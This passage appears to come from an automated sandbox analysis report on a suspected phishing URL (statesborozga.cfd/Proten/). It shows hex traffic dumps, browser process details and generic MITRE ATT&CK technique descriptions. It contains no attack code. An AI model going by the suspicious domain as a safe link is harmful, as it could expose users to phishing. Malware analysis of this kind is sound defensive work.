2e d7 da db 2c d8 f7 89 77 b4 7a ac 00 1f 2d df 47 fa 89 29 3d 38 24 b4 3a d7 58 cb 01 3a b6 c2 79 45 fb 1b 76 ed f5 6d 81 11 ef 33 a2 a2 db 6d d9 a3 dc f3 Data Ascii: $U`.\p{r JB^LJN{m#H,v<U4Kbefk$OMS7##8H:s:ed'\|JI=?]P(18jX,g/cs aIFIJY,548&1Z+.,wz-G)=8$:X:yEvm3m
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 39 2d 55 ab 06 59 43 0c 87 bc ee d2 1d b8 8f c8 87 d6 7f e4 7c ff 00 fc 2d 77 fd 43 95 b6 17 c4 3c 82 ee fb 78 55 fa 98 a8 f4 dc c1 71 2d a8 d1 67 a8 e6 89 70 6e c7 6f 2d 1f bd b5 25 3f ff d3 f4 f7 fd 26 7f 59 19 05 ff 00 49 9f d6 46 49 4a 58 d7 1b 3d 67 37 d4 70 6e f3 a1 c8 60 03 5f 6f b4 b5 6c ac ab 4b 8d af d1 f1 b9 c1 c0 7a 51 fd 6f 77 b9 24 83 48 4d 96 bb 63 77 b8 92 7f ee 43 26 40 fe a2 66 ba d3 69 2d 7d 84 83 02 72 59 07 fb 3b 51 58 c7 b4 00 3d 43 ee 90 ef d1 29 16 9a 89 8d d1 b8 4b 87 a4 00 f8 24 9e 2f 00 81 de a1 78 0d b9 fb 46 ae fd 61 80 c1 fa 2f fa 09 dc fb b6 c0 7b c1 3a 41 c8 66 b2 3d 9c 33 f3 91 40 74 6a 5f a0 3a cd 50 41 fc d4 c1 d6 b4 82 64 87 36 45 7f a2 10 27 6e e6 3b f9 0d 49 1c 5e 01 85 96 dc 77 3c d8 e6 8d ba 06 de cd 34 f0 da 98 db Data Ascii: 9-UYC\|-wC<xUq-gpno-%?&YIFIJX=g7pn`_olKzQow$HMcwC&@fi-}rY;QX=C)K$/xFa/{:Af=3@tj_:PAd6E'n;I^w<4
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 68 6f 74 6f 73 68 6f 70 2f 31 2e 30 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 37 42 36 46 33 35 42 30 37 42 38 30 44 44 33 38 41 45 30 35 35 33 37 36 38 39 43 44 41 42 37 31 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 31 39 31 37 38 31 31 34 2d 35 39 64 63 2d 31 38 34 36 2d 39 66 34 39 2d 66 61 37 64 37 35 35 36 64 34 38 64 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 37 42 36 46 33 35 42 30 37 42 38 30 44 44 33 38 41 45 30 35 35 33 37 36 38 39 43 44 41 42 37 31 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 6a 70 65 67 22 20 Data Ascii: hotoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="7B6F35B07B80DD38AE05537689CDAB71" xmpMM:InstanceID="xmp.iid:19178114-59dc-1846-9f49-fa7d7556d48d" xmpMM:OriginalDocumentID="7B6F35B07B80DD38AE05537689CDAB71" dc:format="image/jpeg"
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-17 22:28:03 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 77 22 3f 3e ff ee Data Ascii: <?xpacket end="w"?>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49767	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:03 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-17 22:28:03 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/079C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=30976 Date: Wed, 17 Apr 2024 22:28:03 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49769	35.190.80.1	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:04 UTC	544	OUT	OPTIONS /report/v4?s=XNBO0AWxeY0lvRO8PAKfVPSrr85CDwEuJf4GPrDq6nJJmOAj2X11IvgYZuKQLs4Zq8w86UdDTsggHHx7V%2BJqNZd5i6zkq9RNbv1weLllln3w%2B9VRmfi%2Fwfa2YTc4zU1AefQFbA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://statesborozga.cfd Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:04 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 17 Apr 2024 22:28:03 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49770	184.31.62.93	443

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:04 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-17 22:28:04 UTC	804	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 52EA27DBDE0C4533B819423583F6692E Ref B: CH1AA2040902052 Ref C: 2023-07-09T23:10:08Z X-MSEdge-Ref: Ref A: 528BB8D443C042AA9AEA4EC3F75C7762 Ref B: CHI30EDGE0111 Ref C: 2023-07-09T23:11:11Z Content-Type: application/octet-stream X-Azure-Ref: 01uvbYwAAAACkqWtaEMjWQL/4cpisZkorTUVNMzBFREdFMDgxMQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=30912 Date: Wed, 17 Apr 2024 22:28:04 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-17 22:28:04 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49771	35.190.80.1	443	3444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 22:28:04 UTC	484	OUT	POST /report/v4?s=XNBO0AWxeY0lvRO8PAKfVPSrr85CDwEuJf4GPrDq6nJJmOAj2X11IvgYZuKQLs4Zq8w86UdDTsggHHx7V%2BJqNZd5i6zkq9RNbv1weLllln3w%2B9VRmfi%2Fwfa2YTc4zU1AefQFbA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 432 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 22:28:04 UTC	432	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 37 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 65 73 62 6f 72 6f 7a 67 61 2e 63 66 64 2f 50 72 6f 74 65 6e 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 33 37 2e 31 37 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f Data Ascii: [{"age":0,"body":{"elapsed_time":578,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://statesborozga.cfd/Proten/","sampling_fraction":1.0,"server_ip":"172.67.137.170","status_code":404,"type":"http.error"},"type":"network-erro
2024-04-17 22:28:04 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 17 Apr 2024 22:28:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	00:27:54
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:27:56
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2072,i,9318174922790436995,11561750414343662516,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:27:59
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://statesborozga.cfd/Proten/"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://statesborozga.cfd/Proten/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Windows Analysis Report
https://statesborozga.cfd/Proten/